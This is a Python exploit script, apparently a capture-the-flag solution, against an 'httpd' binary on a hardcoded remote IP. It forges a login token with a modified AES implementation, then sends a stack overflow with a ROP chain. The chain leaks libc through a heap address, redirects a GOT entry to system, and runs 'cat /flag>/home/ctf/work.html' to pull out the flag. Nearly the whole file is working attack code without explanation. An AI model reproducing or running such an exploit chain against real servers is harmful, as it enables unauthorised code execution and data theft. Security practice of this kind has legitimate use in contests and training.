1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324
| from pwncli import * import requests from bs4 import BeautifulSoup import re from Crypto.Cipher import AES
KEY = b"0123456789ABCDEF" BLOCK_SIZE = 16
def encrypt_block16(plaintext: bytes) -> bytes: """加密单个16字节块(与 sub_401FDB 的单块加密一致)。""" if len(plaintext) != BLOCK_SIZE: raise ValueError("plaintext must be exactly 16 bytes") cipher = AES.new(KEY, AES.MODE_ECB) return cipher.encrypt(plaintext)
def decrypt_block16(ciphertext: bytes) -> bytes: """解密单个16字节块。""" if len(ciphertext) != BLOCK_SIZE: raise ValueError("ciphertext must be exactly 16 bytes") cipher = AES.new(KEY, AES.MODE_ECB) return cipher.decrypt(ciphertext)
def encrypt_ecb(data: bytes) -> bytes: """多块 ECB 加密(长度需为16的倍数,无填充)。""" if len(data) % BLOCK_SIZE != 0: raise ValueError("data length must be a multiple of 16 (no padding)") cipher = AES.new(KEY, AES.MODE_ECB) return cipher.encrypt(data)
def decrypt_ecb(data: bytes) -> bytes: """多块 ECB 解密(长度需为16的倍数,无填充)。""" if len(data) % BLOCK_SIZE != 0: raise ValueError("data length must be a multiple of 16 (no padding)") cipher = AES.new(KEY, AES.MODE_ECB) return cipher.decrypt(data)
def fetch_key(url: str, timeout: int = 10) -> str: """从登录页返回的 HTML 中提取 KEY 文本。""" s = requests.Session() resp = s.get(url, timeout=timeout) resp.raise_for_status() html = resp.text
soup = BeautifulSoup(html, "html.parser") node = soup.select_one(".key-display strong") if node: key = node.get_text(strip=True) if key: return key
m = re.search(r"<div[^>]*class=\"[^\"]*key-display[^\"]*\"[^>]*>.*?<strong>([^<]+)</strong>", html, re.S | re.I) if m: return m.group(1).strip()
raise ValueError("未在页面中找到 KEY,可能页面结构已变或未渲染")
class AES:
MIX_C = [[0x2, 0x3, 0x1, 0x1], [0x1, 0x2, 0x3, 0x1], [0x1, 0x1, 0x2, 0x3], [0x3, 0x1, 0x1, 0x2]] I_MIXC = [[0xE, 0xB, 0xD, 0x9], [0x9, 0xE, 0xB, 0xD], [0xD, 0x9, 0xE, 0xB], [0xB, 0xD, 0x9, 0xE]] RCon = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]
S_BOX = [ [0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82], [0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2], [0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62], [0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2], [0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42], [0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2], [0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22], [0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92], [0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02], [0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72], [0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2], [0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52], [0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2], [0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32], [0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2], [0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12], ]
I_SBOX = [ [0x41, 0xE8, 0x8F, 0x36, 0xDD, 0x84, 0x2B, 0xD2, 0x79, 0x20, 0xC7, 0x6E, 0x15, 0xBC, 0x63, 0x0A], [0xB1, 0x58, 0xFF, 0xA6, 0x4D, 0xF4, 0x9B, 0x42, 0xE9, 0x90, 0x37, 0xDE, 0x85, 0x2C, 0xD3, 0x7A], [0x21, 0xC8, 0x6F, 0x16, 0xBD, 0x64, 0x0B, 0xB2, 0x59, 0x00, 0xA7, 0x4E, 0xF5, 0x9C, 0x43, 0xEA], [0x91, 0x38, 0xDF, 0x86, 0x2D, 0xD4, 0x7B, 0x22, 0xC9, 0x70, 0x17, 0xBE, 0x65, 0x0C, 0xB3, 0x5A], [0x01, 0xA8, 0x4F, 0xF6, 0x9D, 0x44, 0xEB, 0x92, 0x39, 0xE0, 0x87, 0x2E, 0xD5, 0x7C, 0x23, 0xCA], [0x71, 0x18, 0xBF, 0x66, 0x0D, 0xB4, 0x5B, 0x02, 0xA9, 0x50, 0xF7, 0x9E, 0x45, 0xEC, 0x93, 0x3A], [0xE1, 0x88, 0x2F, 0xD6, 0x7D, 0x24, 0xCB, 0x72, 0x19, 0xC0, 0x67, 0x0E, 0xB5, 0x5C, 0x03, 0xAA], [0x51, 0xF8, 0x9F, 0x46, 0xED, 0x94, 0x3B, 0xE2, 0x89, 0x30, 0xD7, 0x7E, 0x25, 0xCC, 0x73, 0x1A], [0xC1, 0x68, 0x0F, 0xB6, 0x5D, 0x04, 0xAB, 0x52, 0xF9, 0xA0, 0x47, 0xEE, 0x95, 0x3C, 0xE3, 0x8A], [0x31, 0xD8, 0x7F, 0x26, 0xCD, 0x74, 0x1B, 0xC2, 0x69, 0x10, 0xB7, 0x5E, 0x05, 0xAC, 0x53, 0xFA], [0xA1, 0x48, 0xEF, 0x96, 0x3D, 0xE4, 0x8B, 0x32, 0xD9, 0x80, 0x27, 0xCE, 0x75, 0x1C, 0xC3, 0x6A], [0x11, 0xB8, 0x5F, 0x06, 0xAD, 0x54, 0xFB, 0xA2, 0x49, 0xF0, 0x97, 0x3E, 0xE5, 0x8C, 0x33, 0xDA], [0x81, 0x28, 0xCF, 0x76, 0x1D, 0xC4, 0x6B, 0x12, 0xB9, 0x60, 0x07, 0xAE, 0x55, 0xFC, 0xA3, 0x4A], [0xF1, 0x98, 0x3F, 0xE6, 0x8D, 0x34, 0xDB, 0x82, 0x29, 0xD0, 0x77, 0x1E, 0xC5, 0x6C, 0x13, 0xBA], [0x61, 0x08, 0xAF, 0x56, 0xFD, 0xA4, 0x4B, 0xF2, 0x99, 0x40, 0xE7, 0x8E, 0x35, 0xDC, 0x83, 0x2A], [0xD1, 0x78, 0x1F, 0xC6, 0x6D, 0x14, 0xBB, 0x62, 0x09, 0xB0, 0x57, 0xFE, 0xA5, 0x4C, 0xF3, 0x9A], ]
def SubBytes(self, State): return [self.S_BOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]
def SubBytes_Inv(self, State): return [self.I_SBOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]
def ShiftRows(self, S): return [S[0], S[5], S[10], S[15], S[4], S[9], S[14], S[3], S[8], S[13], S[2], S[7], S[12], S[1], S[6], S[11]]
def ShiftRows_Inv(self, S): return [S[0], S[13], S[10], S[7], S[4], S[1], S[14], S[11], S[8], S[5], S[2], S[15], S[12], S[9], S[6], S[3]]
def MixColumns(self, State): return self.Matrix_Mul(self.MIX_C, State)
def MixColumns_Inv(self, State): return self.Matrix_Mul(self.I_MIXC, State)
def RotWord(self, _4byte_block): return ((_4byte_block & 0xFFFFFF) << 8) + (_4byte_block >> 24)
def SubWord(self, _4byte_block): result = 0 for position in range(4): i = _4byte_block >> position * 8 + 4 & 0xF j = _4byte_block >> position * 8 & 0xF result ^= self.S_BOX[i][j] << position * 8 return result
def mod(self, poly, mod=0b100011011): while poly.bit_length() > 8: poly ^= mod << poly.bit_length() - 9 return poly
def mul(self, poly1, poly2): result = 0 for index in range(poly2.bit_length()): if poly2 & 1 << index: result ^= poly1 << index return result
def Matrix_Mul(self, M1, M2): M = [0] * 16 for row in range(4): for col in range(4): for Round in range(4): M[row + col * 4] ^= self.mul(M1[row][Round], M2[Round + col * 4]) M[row + col * 4] = self.mod(M[row + col * 4]) return M
def round_key_generator(self, _16bytes_key): w = [_16bytes_key >> 96, _16bytes_key >> 64 & 0xFFFFFFFF, _16bytes_key >> 32 & 0xFFFFFFFF, _16bytes_key & 0xFFFFFFFF] + [0] * 40 for i in range(4, 44): temp = w[i - 1] if not i % 4: temp = self.SubWord(self.RotWord(temp)) ^ self.RCon[i // 4 - 1] w[i] = w[i - 4] ^ temp return [self.num_2_16bytes(sum([w[4 * i] << 96, w[4 * i + 1] << 64, w[4 * i + 2] << 32, w[4 * i + 3]])) for i in range(11)]
def AddRoundKey(self, State, RoundKeys, index): return self._16bytes_xor(State, RoundKeys[index])
def _16bytes_xor(self, _16bytes_1, _16bytes_2): return [_16bytes_1[i] ^ _16bytes_2[i] for i in range(16)]
def _16bytes2num(cls, _16bytes): return int.from_bytes(_16bytes, byteorder='big')
def num_2_16bytes(cls, num): return num.to_bytes(16, byteorder='big')
def aes_encrypt(self, plaintext_list, RoundKeys): State = plaintext_list State = self.AddRoundKey(State, RoundKeys, 0) for Round in range(1, 10): State = self.SubBytes(State) State = self.ShiftRows(State) State = self.MixColumns(State) State = self.AddRoundKey(State, RoundKeys, Round) State = self.SubBytes(State) State = self.ShiftRows(State) State = self.AddRoundKey(State, RoundKeys, 10) return State
def aes_decrypt(self, ciphertext_list, RoundKeys): State = ciphertext_list State = self.AddRoundKey(State, RoundKeys, 10) for Round in range(1, 10): State = self.ShiftRows_Inv(State) State = self.SubBytes_Inv(State) State = self.AddRoundKey(State, RoundKeys, 10 - Round) State = self.MixColumns_Inv(State) State = self.ShiftRows_Inv(State) State = self.SubBytes_Inv(State) State = self.AddRoundKey(State, RoundKeys, 0) return State
def bytes_to_hex_int(data: bytes) -> int: """将 bytes 转换为十六进制整数""" return int(data.hex(), 16)
def get_token(data: bytes): aes = AES() key = 0x30313233343536373839414243444546 RoundKeys = aes.round_key_generator(key)
ciphertext = int(data.hex(), 16)
ciphertext = aes.num_2_16bytes(ciphertext) plaintext = aes.aes_encrypt(ciphertext, RoundKeys) return hex(aes._16bytes2num(plaintext)).replace('0x', '')
context.terminal = ["tmux", "splitw", "-h", "-l", "130"] local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './httpd') if local_flag == "remote": addr = '' ip, port = re.split(r'[\s:]+', addr) gift.io = remote(ip, port) else: gift.io = process(elf_path) gift.remote = local_flag in ("remote", "nodbg") init_x64_context(gift.io, gift) libc = load_libc('./libc.so.6')
cmd = ''' # b *0x40265C b *0x4031d4 # b *0x402FAB # ida # dir /mnt/f/Documents/CTF/glibc/glibc-2.31 c ''' launch_gdb(cmd) url = "http://127.0.0.1:9999/" url = "http://45.40.247.139:23174/" sleep(1)
key = fetch_key(url + "login.html") log_ex(f"key: {key.encode().hex()}") token = get_token(key.encode())
req = requests.post(url + "login", data=f"ciphertext={token}")
def work(payload): log_ex(f"payload: {payload}") try: req = requests.post(url + "work", data=payload) except: return log_ex(req.text)
def log(idx): req = requests.post(url + "log", data=f"index={idx}") return req.text
def csu(rdi=0, rsi=0, rdx=0, rip=0): return flat([0x40362A, 0, 1, rdi, rsi, rdx, rip, 0x403610]) + p64(0) * 7
CG.set_find_area(True, False) rdi = CG.pop_rdi_ret() rsi_r15 = CG.pop_rsi_r15_ret() ret = CG.ret() rbx_rbp = 0x4016AE rax_rbx_rbp = 0x40283C magic = 0x4014DC call_rax = 0x401A83
memcpy_got = 0x406100 memcpy_plt = 0x4013F0 time_got = 0x406108
work('/flag') work(b'a' * 0x1D + p64(ret) + b'cat /flag>/home/ctf/work.html\x00' + b'a' * 0x400 + b'\n')
ret1 = log(1) log_ex(ret1) heap1 = int(ret1[ret1.find(':0x') + 1 :], 16) leak_ex2(heap1) libc_base = heap1 - 0xAE70 + 0x7C00000 set_current_libc_base_and_log(libc_base)
payload = flat([rbx_rbp, libc.sym.system - libc.sym.printf, 0x406018 + 0x3D, magic, rdi, heap1 + 0x20, rax_rbx_rbp, 0x406018 + 0x3B7CB770, 0, 0, call_rax]) work(b'a' * (0x48 + 5) + payload + b'YCB2025')
sleep(2) key = fetch_key(url + "login.html") log_ex(f"key: {key.encode().hex()}") token = get_token(key.encode())
req = requests.post(url + "login", data=f"ciphertext={token}") req = requests.get(url + "work.html") log_ex(req.text)
ia()
|